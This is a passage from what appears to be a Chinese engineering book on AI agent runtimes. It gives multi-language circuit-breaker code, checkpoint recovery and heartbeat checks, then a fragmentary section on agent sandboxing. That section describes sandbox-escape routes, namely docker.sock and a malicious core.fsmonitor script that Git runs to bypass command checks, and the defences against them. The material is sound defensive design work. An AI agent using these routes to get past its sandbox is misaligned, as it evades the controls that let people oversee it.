public String run(String userInput) throws MaxTurnsExceeded {
return loop.run(userInput);
}
}| 问题 | 负责方 | 具体做法 |
|---|---|---|
| Agent 该做什么决策? | Agent Loop | LLM 推理决定下一步行动 |
| 工具参数是否合法? | Runtime 工具注册层 | 校验参数类型、值域、必填项 |
| 调用是否有权限? | Runtime 权限控制层 | 角色权限矩阵 + 审批机制 |
| 代码在哪里执行? | Sandbox | 创建隔离环境、限制资源 |
| 执行超时怎么办? | Sandbox | 设置超时上限,超时自动终止 |
| 历史对话太长怎么办? | Runtime 记忆管理层 | 滑动窗口压缩 + 摘要替代 |
| 工具调用日志在哪看? | Runtime 可观测层 | OpenTelemetry + Dashboard |
| Agent 陷入死循环? | Agent Loop + Runtime | Loop 设置 max_turns,Runtime 设置熔断 |
7.2.4 介绍了 Loop 的设计陷阱,但生产环境中 Agent Loop 面临的稳定性挑战远不止死循环和 Token 爆炸。本节基于 WaLiCode 项目的真实生产经验,讲解 Agent Loop 稳定性的五大保障机制。
当上下文压缩系统(参见第7章 6.12)也无法阻止 Context 增长时,Loop 必须有熔断机制——宁可终止任务,也不能让 Context 溢出导致 API 报错或输出质量崩溃。
class LoopCircuitBreaker:
"""Agent Loop 熔断器"""
def __init__(self):
self.max_turns = 20 # 最大轮次
self.max_context_tokens = 120000 # Context 上限(留 20% 安全余量)
self.max_tool_errors = 3 # 同一工具连续失败上限
self.max_total_errors = 5 # 全局错误上限
self.max_cost_usd = 5.0 # 单任务成本上限
def check(self, state) -> tuple[bool, str]:
"""返回 (是否熔断, 原因)"""
if state.turn >= self.max_turns:
return True, f"超过最大轮次 {self.max_turns}"
if state.context_tokens > self.max_context_tokens:
return True, f"Context 超过熔断阈值 {self.max_context_tokens}"
if state.consecutive_tool_errors >= self.max_tool_errors:
return True, f"工具连续失败 {self.max_tool_errors} 次"
if state.total_errors >= self.max_total_errors:
return True, f"全局错误累计 {self.max_total_errors} 次"
if state.cost_usd >= self.max_cost_usd:
return True, f"任务成本超过 ${self.max_cost_usd}"
return False, ""
def handle_circuit_break(self, reason: str, state):
"""熔断时的处理逻辑"""
print(f"⚠️ Agent Loop 熔断: {reason}")
# 1. 保存当前状态(用于恢复)
state.save_checkpoint()
# 2. 通知用户
return {
"status": "circuit_broken",
"reason": reason,
"turn": state.turn,
"checkpoint_id": state.checkpoint_id,
"suggestion": "任务已暂停,可从 checkpoint 恢复或调整参数后重试"
}
class LoopCircuitBreaker {
maxTurns = 20;
maxContextTokens = 120000;
maxToolErrors = 3;
maxTotalErrors = 5;
maxCostUsd = 5.0;
check(state: LoopState): [boolean, string] {
if (state.turn >= this.maxTurns)
return [true, `超过最大轮次 ${this.maxTurns}`];
if (state.contextTokens > this.maxContextTokens)
return [true, `Context 超过熔断阈值 ${this.maxContextTokens}`];
if (state.consecutiveToolErrors >= this.maxToolErrors)
return [true, `工具连续失败 ${this.maxToolErrors} 次`];
if (state.totalErrors >= this.maxTotalErrors)
return [true, `全局错误累计 ${this.maxTotalErrors} 次`];
if (state.costUsd >= this.maxCostUsd)
return [true, `任务成本超过 $${this.maxCostUsd}`];
return [false, ''];
}
handleCircuitBreak(reason: string, state: LoopState) {
console.warn(`⚠️ Agent Loop 熔断: ${reason}`);
state.saveCheckpoint();
return {
status: 'circuit_broken',
reason,
turn: state.turn,
checkpointId: state.checkpointId,
suggestion: '任务已暂停,可从 checkpoint 恢复'
};
}
}
package main
import "fmt"
// LoopCircuitBreaker Agent Loop 熔断器
type LoopCircuitBreaker struct {
MaxTurns int
MaxContextTokens int
MaxToolErrors int
MaxTotalErrors int
MaxCostUSD float64
}
// LoopState Loop 状态
type LoopState struct {
Turn int
ContextTokens int
ConsecutiveToolErrors int
TotalErrors int
CostUSD float64
CheckpointID string
}
// Check 检查是否需要熔断
func (cb *LoopCircuitBreaker) Check(state *LoopState) (bool, string) {
if state.Turn >= cb.MaxTurns {
return true, fmt.Sprintf("超过最大轮次 %d", cb.MaxTurns)
}
if state.ContextTokens > cb.MaxContextTokens {
return true, fmt.Sprintf("Context 超过熔断阈值 %d", cb.MaxContextTokens)
}
if state.ConsecutiveToolErrors >= cb.MaxToolErrors {
return true, fmt.Sprintf("工具连续失败 %d 次", cb.MaxToolErrors)
}
if state.TotalErrors >= cb.MaxTotalErrors {
return true, fmt.Sprintf("全局错误累计 %d 次", cb.MaxTotalErrors)
}
if state.CostUSD >= cb.MaxCostUSD {
return true, fmt.Sprintf("任务成本超过 $%.2f", cb.MaxCostUSD)
}
return false, ""
}
// HandleCircuitBreak 熔断处理
func (cb *LoopCircuitBreaker) HandleCircuitBreak(reason string, state *LoopState) map[string]interface{} {
fmt.Printf("⚠️ Agent Loop 熔断: %s\n", reason)
// state.SaveCheckpoint()
return map[string]interface{}{
"status": "circuit_broken",
"reason": reason,
"turn": state.Turn,
"checkpoint_id": state.CheckpointID,
"suggestion": "任务已暂停,可从 checkpoint 恢复",
}
}
func NewDefaultCircuitBreaker() *LoopCircuitBreaker {
return &LoopCircuitBreaker{
MaxTurns: 20,
MaxContextTokens: 120000,
MaxToolErrors: 3,
MaxTotalErrors: 5,
MaxCostUSD: 5.0,
}
}
class LoopCircuitBreaker {
int maxTurns = 20;
int maxContextTokens = 120000;
int maxToolErrors = 3;
int maxTotalErrors = 5;
double maxCostUsd = 5.0;
public CheckResult check(LoopState state) {
if (state.turn >= maxTurns)
return new CheckResult(true, "超过最大轮次 " + maxTurns);
if (state.contextTokens > maxContextTokens)
return new CheckResult(true, "Context 超过熔断阈值 " + maxContextTokens);
if (state.consecutiveToolErrors >= maxToolErrors)
return new CheckResult(true, "工具连续失败 " + maxToolErrors + " 次");
if (state.totalErrors >= maxTotalErrors)
return new CheckResult(true, "全局错误累计 " + maxTotalErrors + " 次");
if (state.costUsd >= maxCostUsd)
return new CheckResult(true, String.format("任务成本超过 $%.2f", maxCostUsd));
return new CheckResult(false, "");
}
public Map<String, Object> handleCircuitBreak(String reason, LoopState state) {
System.err.println("⚠️ Agent Loop 熔断: " + reason);
state.saveCheckpoint();
return Map.of(
"status", "circuit_broken",
"reason", reason,
"turn", state.turn,
"checkpointId", state.checkpointId,
"suggestion", "任务已暂停,可从 checkpoint 恢复"
);
}
}
class CheckResult {
boolean shouldBreak;
String reason;
CheckResult(boolean shouldBreak, String reason) {
this.shouldBreak = shouldBreak;
this.reason = reason;
}
}
熔断或异常中断后,用户可能想继续任务。WaLiCode 实现了Checkpoint 恢复机制——将 Loop 状态序列化存储,下次启动时反序列化恢复:
| 状态项 | 存储内容 | 恢复策略 |
|---|---|---|
| 对话历史 | 压缩后的消息列表 | 直接加载,不重新压缩 |
| 工具调用记录 | 每个工具的调用参数和返回结果 | 加载到工作记忆,供 LLM 参考 |
| 任务进度 | 当前步骤索引、已完成步骤、待完成步骤 | 从上次中断处继续执行 |
| 上下文摘要 | 历史压缩生成的摘要 | 作为 system message 注入 |
| 错误上下文 | 最后 N 个错误信息 | 注入上下文,避免重复犯错 |
Agent 在执行长任务时,用户可能已经离开。为避免浪费 Token 和算力,Loop 应实现心跳检测:
// 空闲超时配置
const IDLE_TIMEOUT_MS = 10 * 60 * 1000; // 10 分钟
// Loop 中心跳检测
let lastActivityTime = Date.now();
function checkHeartbeat() {
const idle = Date.now() - lastActivityTime;
if (idle > IDLE_TIMEOUT_MS) {
return {
action: 'pause',
reason: `空闲超过 ${IDLE_TIMEOUT_MS / 60000} 分钟,自动暂停`,
canResume: true
};
}
return { action: 'continue' };
}
// 用户交互时重置计时器
function onUserActivity() {
lastActivityTime = Date.now();
}| 保障机制 | 解决问题 | 关键参数 | 章节参考 |
|---|---|---|---|
| 上下文溢出熔断 | Context 无限增长导致 API 报错 | max_context_tokens = 120K | ch05 5.12 + 本节 |
| 死循环检测 | 工具反复失败导致 Loop 卡死 | max_turns = 20, max_tool_errors = 3 | ch21 7.2.4 |
| 压缩降级链 | 压缩失败导致历史丢失 | AI→规则→硬截断 | 第7章 6.12.7 |
| Checkpoint 恢复 | 中断后无法继续任务 | 状态序列化 + 反序列化 | 本节 |
| 心跳检测 | 用户离开后 Agent 继续烧钱 | idle_timeout = 10min | 本节 8.6.3 |
shouldUseSandbox() 三步决策——沙箱是否启用 → 是否显式禁用 → 是否在排除列表。三种模式:auto-allow(自动执行)/ regular(需确认)/ disabled(不使用沙箱)。allowedDomains 中的域名(如 npm registry)。/var/run/docker.sock 逃逸)。npm install、pip install、git clone 都需要网络。直接禁网会让 Agent 失去实用性。代理 + 白名单实现了最小权限网络——该放的放,该挡的挡。
core.fsmonitor 指向恶意脚本。当 Agent 在该仓库中执行 git status 时,Git 自动执行 core.fsmonitor 指定的脚本——绕过沙箱的命令安全检查(因为这不是 Agent 生成的命令,而是 Git 自己执行的)。scrubBareGitRepoFiles() 在进入沙箱前扫描并清除裸 Git 仓库的危险配置。这是针对真实攻击向量的深度防御——不仅检查 Agent 生成的命令,还防御第三方工具被利用的间接执行。
dangerouslyDisableSandbox 需显式声明,且逐个重置回沙箱——不会因为一次禁用就永久绕过。这是 Prompt Engineering 与 Safety Engineering 交叉的典型案例。